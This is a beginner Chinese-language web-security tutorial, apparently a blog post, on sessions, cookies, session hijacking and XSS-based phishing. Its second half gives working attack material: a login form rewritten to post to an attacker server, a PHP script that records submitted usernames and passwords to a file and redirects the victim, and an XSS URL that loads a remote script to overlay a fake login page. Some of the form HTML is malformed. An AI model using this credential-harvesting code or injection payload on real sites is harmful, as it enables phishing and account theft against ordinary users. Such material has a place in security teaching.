Day23- 新手的Web系列XSS 0x7
正文
- Session
- 中文的意思是連線
- 指說當使用者連線至某個特定網站時,每個連結者都會產生一個單獨的session,seeeion是基於連結的行程,紀錄連結的開始到結束,所以當瀏覽器關閉或是行程結束時,session就會消失了
- session是使用者和伺服器透過識別字來判斷使用者的身份含維持session
- session vs cookie
- session 是保存於伺服器的記憶體裡面
- cookie 是保存於瀏覽器或是使用者電腦裡的檔案
- session 劫持
- 意思是攻擊者利用xss劫持了使用者的session去執行某些惡意的操作或是攻擊
- 觀念:
- session的概念一般是基於cookie,session劫持是在攻擊的時候帶上cookie並發送到伺服器端
- 網路釣魚(Phishing)
- 利用網路進行詐騙,主要是透過受害者的好奇心或是信任程度進行欺騙,是屬於社會心理學的一種
- 例如:
-
<a href="https://192.168.10.1">https://blog.macaron.tw</a>
- 連結上會顯示
https://blog.macaron.tw
這個網址,但其實會指向https://192.168.10.1
- XSS Phishing
- 釣魚頁面
- 一般釣魚頁面主要的內容是登入表單的部分,可以直接從真實的網站去複製
- 修改登入表單的地址,就是改變
<form>
標籤中action的值
<form method="post" action="login.php?action=login">
<input type="text" name=username /><br />
input type="text" name=password /><br />
input type="submit" name=login />
</form>
<form method="post" action="https://macaron.tw/xss_get.php">
- 紀錄資訊的腳本
- 在遠端伺服器上就會有存放用來接收資料和紀錄帳號密碼...等資訊的程式檔
- 遠端伺服器:
https://macaron.tw
- 紀錄資訊檔案:
xss_get.php
- 這段程式碼是用來接受資訊並存在logindata.txt檔案中,再用header()函數讓網頁跳轉到正常的頁面
<?php
$data=fopen("logindata.txt","a+");
$login=$_POST['username'];
$pass=$_POST['password'];
fwrite($data,"username: $login\n");
fwrite($data,"password: $pass\n");
fclose($data);
Header("location:https://hello.com");
?>
- XSS Phishing exploit
- 當使用者點擊這個連結,就會以動態呼叫遠端的xss.js檔
- xss.js:建立iframe框架覆蓋正常網頁,再載入遠端網域偽造的釣魚頁面
- 攻擊者在xss頁面中插入
https://hole.com/login.php?s=<script src=https://macaron.tw/xss.js></script>